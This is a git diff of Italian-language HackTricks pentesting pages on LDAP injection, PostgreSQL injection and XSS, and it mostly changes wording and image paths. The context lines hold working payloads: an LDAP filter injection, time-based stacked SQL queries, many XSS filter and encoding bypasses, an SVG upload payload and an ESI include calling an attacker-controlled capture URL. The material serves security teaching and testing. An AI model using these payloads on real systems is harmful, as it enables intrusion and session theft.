Payload: *)(objectClass=*))(&objectClass=void
|
||||
|
@ -224,15 +224,15 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta una buona conoscenza del polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -43,14 +43,14 @@ Controlla come compromettere l'host e aumentare i privilegi da PostgreSQL in:
|
|||
|
||||
## WAF bypass
|
||||
|
||||
### Funzioni di stringa PostgreSQL
|
||||
### Funzioni String di PostgreSQL
|
||||
|
||||
Manipolare le stringhe potrebbe aiutarti a **bypassare i WAF o altre restrizioni**.\
|
||||
[**In questa pagina** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**puoi trovare alcune funzioni di stringa utili.**
|
||||
[**In questa pagina** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**puoi trovare alcune funzioni String utili.**
|
||||
|
||||
### Query impilate
|
||||
|
||||
Ricorda che postgresql supporta query impilate, ma diverse applicazioni genereranno un errore se vengono restituite 2 risposte quando ci si aspetta solo 1. Ma, puoi comunque abusare delle query impilate tramite l'iniezione di tempo:
|
||||
Ricorda che PostgreSQL supporta query impilate, ma diverse applicazioni genereranno un errore se vengono restituite 2 risposte quando ci si aspetta solo 1. Tuttavia, puoi comunque abusare delle query impilate tramite l'iniezione temporale:
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -97,9 +97,9 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta la conoscenza fluente del polacco, scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'impossibile - **stiamo assumendo!** (_è richiesta la conoscenza fluente del polacco, scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'impossibile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
@ -8,7 +8,7 @@ Se sei interessato a una **carriera nel hacking** e a hackare l'impossibile - **
|
|||
|
||||
## Metodologia
|
||||
|
||||
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _header_?, _cookie_?) è **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _intestazioni_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
2. **Trova il contesto** in cui è riflesso/utilizzato.
|
||||
3. Se **riflesso**
|
||||
1. Controlla **quali simboli puoi usare** e a seconda di ciò, prepara il payload:
|
||||
|
@ -45,25 +45,25 @@ Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore
|
|||
|
||||
* **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web potresti sfruttare un **Reflected XSS**.
|
||||
* **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server ed è riflesso ogni volta che accedi a una pagina potresti sfruttare un **Stored XSS**.
|
||||
* **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS potresti sfruttare un **DOM XSS**.
|
||||
* **Accesso tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS potresti sfruttare un **DOM XSS**.
|
||||
|
||||
## Contesti
|
||||
|
||||
Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
|
||||
### HTML grezzo
|
||||
|
||||
Se il tuo input è **riflesso nell'HTML grezzo** della pagina dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
|
||||
Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Se il tuo input è **riflesso nella pagina HTML grezza** dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
|
||||
Inoltre, tieni presente [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### All'interno dell'attributo dei tag HTML
|
||||
|
||||
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag potresti provare:
|
||||
|
||||
1. A **sfuggire dall'attributo e dal tag** (allora sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
|
||||
1. A **sfuggire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
|
||||
2. Se **puoi sfuggire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso in **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**" potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**" potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
||||
```html
|
||||
|
@ -106,7 +106,7 @@ Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cerca
|
|||
|
||||
Nel caso sia vulnerabile, potresti essere in grado di **attivare un avviso** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoint **validino il contenuto** per consentire solo lettere, numeri, punti e trattini bassi (**`[\w\._]`**).
|
||||
|
||||
Tuttavia, anche con questa limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi utilizzare quei caratteri validi per **accedere a qualsiasi elemento nel DOM**:
|
||||
Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi utilizzare quei caratteri validi per **accedere a qualsiasi elemento nel DOM**:
|
||||
|
||||
![](<../../.gitbook/assets/image (747).png>)
|
||||
|
||||
|
@ -275,10 +275,10 @@ Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del
|
|||
```
|
||||
### All'interno dell'attributo
|
||||
|
||||
Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso in **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
|
||||
Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
|
||||
Un altro **esempio** interessante è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass all'interno dell'evento usando la codifica HTML/URL encode**
|
||||
**Bypass all'interno dell'evento usando la codifica HTML/codifica URL**
|
||||
|
||||
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati durante l'esecuzione**. Pertanto qualcosa come il seguente sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Torna Indietro </a>`
|
||||
|
||||
|
@ -303,7 +303,7 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
|
|||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**Bypass interno evento utilizzando la codifica Unicode**
|
||||
**Bypass dell'evento interno utilizzando la codifica Unicode**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
|
@ -359,7 +359,7 @@ _**In questo caso, il trucco di codifica HTML e il trucco di codifica Unicode de
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **è codificato in URL**, ricorda che **non importa,** verrà **interpretato** come un **apice singolo** durante il **tempo di esecuzione.**
|
||||
Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **è codificato in URL**, ricorda che **non importa,** verrà **interpretato** come un **apice singolo** durante il **tempo di esecuzione**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
|
@ -394,7 +394,7 @@ Se puoi iniettare qualsiasi URL in un arbitrario **`<a href=`** tag che contiene
|
|||
### Bypass degli Event Handlers
|
||||
|
||||
Prima di tutto controlla questa pagina ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) per utili **"on" event handlers**.\
|
||||
Nel caso ci sia qualche blacklist che ti impedisce di creare questi event handlers, puoi provare i seguenti bypass:
|
||||
Nel caso ci sia qualche blacklist che ti impedisce di creare questi event handlers puoi provare i seguenti bypass:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
|
@ -468,9 +468,9 @@ Ora puoi modificare il nostro link e portarlo alla forma
|
|||
|
||||
Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## Iniettare all'interno del codice JavaScript
|
||||
## Iniezione all'interno del codice JavaScript
|
||||
|
||||
In questo caso il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
|
||||
In questo caso il **tuo input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
|
||||
|
||||
### Escape del tag \<script>
|
||||
|
||||
|
@ -480,7 +480,7 @@ Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati ri
|
|||
```
|
||||
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene eseguita solo successivamente.
|
||||
|
||||
### All'interno del codice JS
|
||||
### Dentro il codice JS
|
||||
|
||||
Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** dove il tuo input è **situato** e **eseguire JS arbitrario**. È importante **correggere la sintassi JS**, perché se ci sono errori, il codice JS non verrà eseguito:
|
||||
```
|
||||
|
@ -490,8 +490,8 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
|
|||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è conosciuto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backtick** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backtick, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||
|
||||
Questo può essere **abusato** utilizzando:
|
||||
```javascript
|
||||
|
@ -749,7 +749,7 @@ Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una
|
|||
|
||||
### Cookie XSS
|
||||
|
||||
Se puoi attivare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo ad attivare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco cookie tossing:
|
||||
Se puoi attivare un XSS inviando il payload all'interno di un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile a XSS**, potresti abusare di questo XSS per iniettare un cookie nell'intero dominio riuscendo a attivare il cookie XSS nel dominio principale o in altri sottodomini (quelli vulnerabili a cookie XSS). Per questo puoi utilizzare l'attacco cookie tossing:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
|
@ -779,7 +779,7 @@ Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode*
|
|||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
A causa di **RoR mass assignment**, le virgolette vengono inserite nell'HTML e quindi la restrizione delle virgolette viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
|
||||
A causa di **RoR mass assignment** le virgolette vengono inserite nell'HTML e poi la restrizione delle virgolette viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\
|
||||
Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -861,7 +861,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
### Tipi di Script per XSS
|
||||
|
||||
(Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
|
@ -897,7 +897,7 @@ import { partition } from "lodash";
|
|||
```
|
||||
Questo comportamento è stato utilizzato in [**questo writeup**](https://github.com/zwade/yaca/tree/master/solution) per rimappare una libreria a eval per abusarne e può attivare XSS.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzionalità serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona in questo modo:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzione serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona in questo modo:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -1342,7 +1342,7 @@ Puoi iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS!
|
|||
|
||||
### XSS a SSRF
|
||||
|
||||
Hai XSS su un **sito che utilizza la cache**? Prova **a trasformarlo in SSRF** attraverso l'iniezione di Edge Side Include con questo payload:
|
||||
Hai XSS su un **sito che utilizza la cache**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1368,11 +1368,11 @@ Se non puoi iniettare tag HTML, potrebbe valere la pena provare a **iniettare da
|
|||
|
||||
AMP, mirato ad accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una gamma di componenti per varie funzionalità, accessibili tramite [componenti AMP](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componenti AMP specifici alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email.
|
||||
Il formato [**AMP per Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende specifici componenti AMP alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email.
|
||||
|
||||
Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS caricando file (svg)
|
||||
### XSS caricamento file (svg)
|
||||
|
||||
Carica come immagine un file come il seguente (da [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
|
@ -1446,7 +1446,7 @@ Trova **ulteriori payload SVG in** [**https://github.com/allanlw/svg-cheatsheet*
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
|